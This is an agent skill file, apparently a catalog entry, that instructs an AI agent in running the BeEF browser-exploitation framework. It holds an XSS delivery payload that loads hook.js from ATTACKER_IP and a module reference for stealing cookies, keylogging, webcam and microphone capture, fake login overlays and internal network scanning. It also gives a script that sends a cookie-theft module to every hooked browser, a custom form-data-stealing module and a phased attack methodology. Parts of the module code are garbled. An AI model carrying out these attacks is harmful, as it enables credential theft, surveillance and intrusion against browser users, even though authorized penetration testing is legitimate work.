Beef Xss

beef-xss Agent Skill

When to Use This Skill

Use this skill when:

• Demonstrating the real-world impact of an XSS vulnerability to a client
• Conducting authorized browser-based attack chains (social engineering, phishing via hooked browser)
• Integrating browser exploitation into a Metasploit campaign
• Building custom BeEF command modules for specific scenarios
• Testing browser fingerprinting, internal network discovery from browser context, or tunneling
• The user asks about XSS exploitation frameworks, hook.js delivery, or BeEF REST API

What BeEF Does

BeEF hooks browsers via a small JavaScript payload (hook.js), turning each hooked browser into a C2 session. Once hooked, the attacker can run hundreds of built-in command modules: enumerate browser plugins and cookies, capture keystrokes, launch social engineering overlays, probe the victim's internal network from within their browser, redirect the browser, and integrate with Metasploit to pivot from browser compromise to full system exploitation.

Installation

Method 1 — Docker (recommended)

# Pull BeEF image
docker pull beefproject/beef

# Run BeEF — expose UI port (3000) and hook port (3000)
docker run -d --name beef \
  -p 3000:3000 \
  -p 6789:6789 \
  beefproject/beef

# Access UI
# http://localhost:3000/ui/panel
# Default credentials: beef / beef

Method 2 — From Source (Ruby)

# Prerequisites
sudo apt install ruby ruby-dev build-essential libcurl4-openssl-dev git -y

# Clone repository
git clone https://github.com/beefproject/beef.git
cd beef

# Install Ruby dependencies
sudo gem install bundler
bundle install

# Start BeEF
./beef

Method 3 — Kali Linux (pre-installed)

# Kali ships BeEF — update and run
sudo apt update && sudo apt install beef-xss -y
sudo beef-xss

# Or run directly
cd /usr/share/beef-xss
sudo ./beef

Configuration

# Edit config before starting
nano config.yaml

# Key settings:
# beef:
#   credentials:
#     user: "beef"
#     passwd: "CHANGE_ME"
#   http:
#     host: "0.0.0.0"      # Listen interface
#     port: 3000
#     public: "ATTACKER_IP" # Public IP for hook.js generation
#   websocket:
#     enable: true
#   extensions:
#     metasploit:
#       enable: true
#       host: "127.0.0.1"
#       port: 55553

Core Concepts

hook.js Payload

hook.js is a JavaScript file served by BeEF's built-in HTTP server. When loaded in a victim browser (via XSS, injected via MITM, or social engineering), it:

1. Establishes a polling connection back to the BeEF server
2. Registers the browser as a new "hooked browser" session
3. Executes command module payloads returned from the C2
4. Returns command results asynchronously

Session Lifecycle

Browser loads hook.js
  → BeEF registers session (assigns unique BeEF ID)
  → Attacker sends command modules via UI or REST API
  → hook.js polls C2 (default: every 1 second)
  → Results returned to BeEF UI/API
  → Session alive as long as tab is open

Control Panel Layout

URL: http://ATTACKER_IP:3000/ui/panel

• Hooked Browsers (left panel) — list of active and past browser sessions with OS/browser info
• Details tab — browser fingerprint, plugins, cookies, window size, geolocation
• Logs tab — all command results and events for this session
• Commands tab — module tree organized by category
• Network tab — discovered internal hosts via browser-based network scanner
• XssRays tab — results from XSS scanning of same-origin pages
• Ipec tab — IP discovery results

hook.js Delivery Methods

Method 1 — Reflected/Stored XSS

%3Cscript%20src%3D%22http%3A%2F%2FATTACKER_IP%3A3000%2Fhook.js%22%3E%3C%2Fscript%3E

">

Method 2 — BeEF's Built-in Demo Page

http://ATTACKER_IP:3000/demos/basic.html

Use for testing / demonstration in lab environments.

Method 3 — MITM (via ARP spoofing + BeEF's network proxy)

# BeEF can act as a proxy; route traffic through BeEF to inject hook.js
# Enable network extension in config.yaml, then:
# Configure browser to use BeEF as HTTP proxy: ATTACKER_IP:6789

Method 4 — Social Engineering Page

Craft a phishing page that loads hook.js and presents a credential form.

Command Modules Reference

Modules are organized under the Commands tab. Key categories:

Browser Information

Commands > Browser > Hooked Domain
  - Get Cookie           — Retrieve document.cookie
  - Get Page Title       — Current page title
  - Get Page HTML        — Full DOM HTML
  - Fingerprint Browser  — Detect browser plugins, capabilities
  - Get All Windows      — Enumerate open tabs/windows
  - Get History          — Browser history (limited by SOP)
  - Detect Firebug       — Check if devtools open

Network Discovery

Commands > Network > Fingerprint Network
  - Get Internal IP       — Victim's RFC1918 address via WebRTC
  - Network Discovery     — Scan internal subnet from victim browser
  - Port Scanner          — TCP port scan from within victim's network
  - Identify LAN Hosts    — Ping sweep via JavaScript image loading tricks
  - DNS Enumeration       — Resolve hostnames from victim's DNS resolver

Social Engineering

Commands > Social Engineering
  - Fake Notification Bar  — Fake Firefox/Chrome update bar with malware link
  - Clickjacking           — Frame overlay to hijack clicks
  - Fake Flash Update      — Classic plugin update lure
  - TabNabbing             — Replace inactive tab content with phishing page
  - Pretty Theft           — Overlay dialog requesting Google/Facebook login

Keylogger

Commands > Host > Keylogger
  - Sends all keystrokes typed in the hooked page back to BeEF
  - Works while the hooked tab is in focus
  - Results appear in Logs tab

Webcam and Audio

Commands > Host > Get Webcam
  - Requests webcam access via getUserMedia API
  - Captures still image; browser shows permission prompt

Commands > Host > Get Microphone
  - Records audio via getUserMedia; requires user permission

Tunneling Proxy

Commands > Network > Tunneling Proxy
  - Enables HTTP tunneling through victim's browser
  - Configure local SOCKS proxy to route through hooked browser
  - Access internal resources as the victim user
  - Port: 6789 (configurable in config.yaml)

Metasploit Integration

# config.yaml — enable Metasploit extension
extensions:
  metasploit:
    enable: true
    host: "127.0.0.1"
    port: 55553
    user: "msf"
    pass: "abc123"
    uri: "/api"

# msfconsole — load msgrpc plugin
msf6 > load msgrpc Pass=abc123 ServerPort=55553

# In BeEF Commands tab:
# Misc > Metasploit — browser exploits accessible here
# Use browser_autopwn2 or specific browser exploits

REST API

BeEF exposes a REST API for automation. Authentication uses a token returned at startup or via login.

Authentication

# Login and capture token
TOKEN=$(curl -s -c cookies.txt -X POST http://localhost:3000/api/admin/login \
  -H "Content-Type: application/json" \
  -d '{"username":"beef","password":"beef"}' | jq -r '.token')
echo "BeEF token: $TOKEN"

List Hooked Browsers

curl -s "http://localhost:3000/api/hooks?token=${TOKEN}" | jq '.'

# Response includes session ID, IP, browser type, OS, hooked URL

Send a Command Module

# Get module list
curl -s "http://localhost:3000/api/modules?token=${TOKEN}" | jq '.'

# Execute module on a hooked browser (replace SESSION_ID and MODULE_ID)
curl -s -X POST "http://localhost:3000/api/modules/SESSION_ID/MODULE_ID?token=${TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"execute": "true"}'

# Check command result
curl -s "http://localhost:3000/api/modules/SESSION_ID/MODULE_ID/COMMAND_ID?token=${TOKEN}" | jq '.'

Automate Mass Hooks

# Get all online browser IDs
BROWSERS=$(curl -s "http://localhost:3000/api/hooks?token=${TOKEN}" | \
  jq -r '.hooked-browsers.online | keys[]')

# Send Get Cookie module (module ID varies; check /api/modules)
COOKIE_MODULE_ID=17

for BROWSER in $BROWSERS; do
  curl -s -X POST \
    "http://localhost:3000/api/modules/${BROWSER}/${COOKIE_MODULE_ID}?token=${TOKEN}" \
    -H "Content-Type: application/json" -d '{}' 
done

Custom Modules

Custom modules live in modules/ directory. Structure:

modules/my_module/
├── module.rb       — Ruby metadata and parameter definitions
└── command.js      — JavaScript executed in the hooked browser

Example Custom Module

# modules/steal_form_data/module.rb
class Steal_form_data  @datastore['data']})
  end
end

// modules/steal_form_data/command.js
var forms = document.querySelectorAll('');
var data = [];
forms.forEach(function(form) {
  var inputs = form.querySelectorAll('input, textarea, select');
  inputs.forEach(function(input) {
    data.push(input.name + '=' + input.value);
  });
});
beef.net.send('', , 'data=' + data.join('&'));

Browser-Based Attack Methodology

Phase 1 — Hook Delivery

1. Identify XSS vector (stored preferred for persistent hooks)
2. Inject hook.js script tag or equivalent
3. Confirm session appears in BeEF control panel

Phase 2 — Reconnaissance

1. Run Fingerprint Browser → document OS, browser version, plugins
2. Run Get Internal IP → identify victim's RFC1918 address
3. Run Network Discovery → map internal subnets visible from victim
4. Run Port Scanner → identify live internal services
5. Run DNS Enumeration → discover internal hostnames

Phase 3 — Exploitation

1. Keylogger → capture credentials typed in hooked domain
2. Pretty Theft → overlay fake login to capture credentials
3. Tunneling Proxy → route your browser through victim to access internal apps
4. Metasploit integration → launch browser exploits against victim

Phase 4 — Reporting

Document the attack chain: XSS vector → hook URL → what data was accessible, what internal resources were reachable, what social engineering was possible. Emphasize the real-world impact (credentials, internal network access) to justify remediation priority.

Troubleshooting

| Issue | Cause | Fix | |-------|-------|-----| | hook.js not loading | Firewall blocking port 3000 | Open port 3000 on attacker host | | Session disappears | Tab closed or navigated away | Stored XSS for persistence; use iframes | | Modules not returning results | Browser SOP blocking | Use same-origin XSS; check console errors | | Metasploit not connecting | msgrpc not started or wrong creds | load msgrpc Pass=abc123 in msfconsole | | Docker container not starting | Port conflict | Change host port: -p 3001:3000 | | REST API 401 Unauthorized | Token expired or wrong | Re-login via /api/admin/login | | Bundle install fails | Missing native deps | sudo apt install libssl-dev libreadline-dev | ---

> Built by Red Hound InfoSec — On-demand offensive security expertise for SMBs. > 20+ years of Fortune 500 experience. Penetration testing, attack surface analysis, and security consulting. > > redhound.us | GitHub | Book a consultation

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: jph4cks
• Source: jph4cks/redhound-arsenal
• License: MIT
• Homepage: https://redhound.us

Install and usage instructions live in the source repository linked above.